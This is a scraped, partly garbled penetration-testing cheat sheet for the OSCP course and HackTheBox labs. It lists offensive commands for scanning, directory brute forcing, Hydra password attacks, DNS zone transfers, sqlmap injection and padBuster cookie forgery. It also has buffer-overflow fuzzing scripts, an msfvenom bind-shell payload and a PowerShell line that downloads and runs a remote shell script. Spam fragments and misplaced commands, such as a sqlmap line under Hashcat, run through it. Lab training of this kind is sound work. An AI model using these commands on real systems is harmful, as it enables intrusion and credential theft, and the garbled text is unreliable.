Masscan (local) :

NMAP Commands Cheat Sheet and Tutorial with Examples (Download PDF) NMAP (Network Mapper) is the de facto open source network scanner used by almost all security professionals to enumerate open ports and find live hosts in a network (and much more really). One of my responsibilities in my job is to perform white hat penetration testing and security assessments. Home Instant Answers Nikto Cheat Sheet Next Steps. This is the home page for your Instant Answer and can be. JustTryHarder, a cheat sheet which will aid you through the PWK course & the OSCP Exam. (Inspired by PayloadAllTheThings) Feel free to submit a Pull Request & leave a star to share some love if this helped you.

masscan -p1-65534 -rate=10000 -oG name.masscan 10.10.10.10

Netdiscover :

netdiscover -i eth0

Nmap :

nmap -A -p- -T4 -oA nmap/[name].xml 10.10.10.10nmap –script=vuln -T4 -oA nmap/[name].xml 10.10.10.10nmap -sC -sV

xsltproc *.xml -o *.html

Nikto :

nikto -host 10.10.10.10[:8080] -output nikto.[name].txt

DirSearch :

/opt/dirsearch/dirsearch.py -u http://10.10.10.10 -e asp,aspx,bat,c,cfm,cgi,com,dll,exe,htm,html,inc,jhtml,jsa,jsp,log,mdb,nsf,php,phtml,pl,reg,sh,shtml,sql,txt,xml,/,js -x 403,400 –json-report=[/path/]dirsearch.json

Gobuster :

/opt/gobuster/gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.10.10 -o [name].log -t 25 [-k] [add / option] [-c (cat cookie.txt)]

Dirb :

dirb http://10.10.10.10[:8080] -o dirb.[name].txt

Wfuzz :

wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/megabeast.txt –hc 404,200 http://[ip:port]/FUZZ [ -b ‘cookie=value’ ] [ -w /usr/share/wordlist ]

Dig :

dig axfr @10.10.10.13 cronos.htb

host :

host -t ns cronos.htbhost -t mx cronos.htb

dnsrecon :

dnsrecon -d cronos.htb -t axfr

Hydra :

ssh :

hydra -L login.txt -P pass.txt [ -c file (user:pass format) ] ssh://10.10.10.10[:port]

http-form-post :

hydra [ip] -s [port] http-form-post “/index.php:password=^PASS^:F=Invalid password!” -P [wordlist] -l ‘’ {in this case no username -l ‘’} -t 10 -I

http-form-get :

smb :

hydra -l cristal -x 4:4:a 192.168.2.46 smb

Sqlmap :

sqlmap -r admin.cronos.req –level 5 –risk 3 –threads 10

Hashcat :

sqlmap -r admin.cronos.req –level 5 –risk 3 –threads 10

PowerShell :

use file from the internet :

IEX(New-Object Net.WebClient).downloadString(‘http://10.10.10.10:8080/shell.ps1’)

Privesc - MetaSploit :

search suggestpost/multi/recon/local_exploit_suggesterset SESSION 1(powerup ?)

Shell :

magic unicorn

https://www.youtube.com/watch?v=e9lVyFH7-4o

Database

Nikto Cheat Sheet Excel

Cookie :

padBuster :

perl padBuster.pl http://10.10.10.10/index.php uBIcLBJyjARxQ7ooer8gpdI4sSUCfulk 8 auth=uBIcLBJyjARxQ7ooer8gpdI4sSUCfulk -plaintext user=admin

Monitoring Marchetti sf260.

Network :

netstat :

watch “netstat -an

grep 4001”

lsof :

watch “lsof -i 4001”

Buffer Overflow

Fuzzing :

#!/usr/bin/env python

import socketimport time

target_host = “127.0.0.1”target_port = 4030

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect((target_host, target_port))

for i in range(1,2000) :

client.send(“xn”)response = client.recv(4096)

print response

Bad Characters :

#!/usr/bin/env python

shellcode = ‘’for i in range(1,256): shellcode += chr(i)

print shellcode

Format String :

Shows 20 dwords from the stack :

for(( i=1; i < 20; i++)); do echo -n “$i “ && ./fs “%$i$x”; done

Use “%s” to retrieve strings instead :

for(( i=1; i < 20; i++)); do echo -n “$i “ && ./fs “%$i$s”; done

MSFVenom :

msfvenom -p linux/x86/shell_bind_tcp -b ‘x00x09x10x13’ LPORT=4450 -f python

Unclassified

JS Prompt :

Filters bypass

Vim :

record macro :qq

Wt3 x plane. execute macro :

Nikto Cheat Sheet 2020

@re execute macro :@@global switch ::%s/item1/item2/g

Forked from sinfulz “JustTryHarder” is his “cheat sheet which will aid you through the PWK course & the OSCP Exam.”
So here:“

JustTryHarder, a cheat sheet which will aid you through the PWK course & the OSCP Exam.

(Inspired by PayloadAllTheThings)

Feel free to submit a Pull Request & leave a star to share some love if this helped you. 💖

Disclaimer: none of the below includes spoilers for the PWK labs / OSCP Exam.

Credit Info:I have obtained a lot of this info through other Github repos, blogs, sites and more.I have tried to give as much credit to the original creator as possible, if I have not given you credit please contact me on Twitter: https://twitter.com/s1nfulz

Active Directory & Domain Controllers

WIP

BOF (WIP)

(Bad Characters: 0x00, 0x0A)

Fuzzing
Finding eip position
Finding bad chars
Locating jmp esp
Generating payload with msfvenom
Getting reverse shell with netcat

DNS - Zone Transfers

host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l
dig @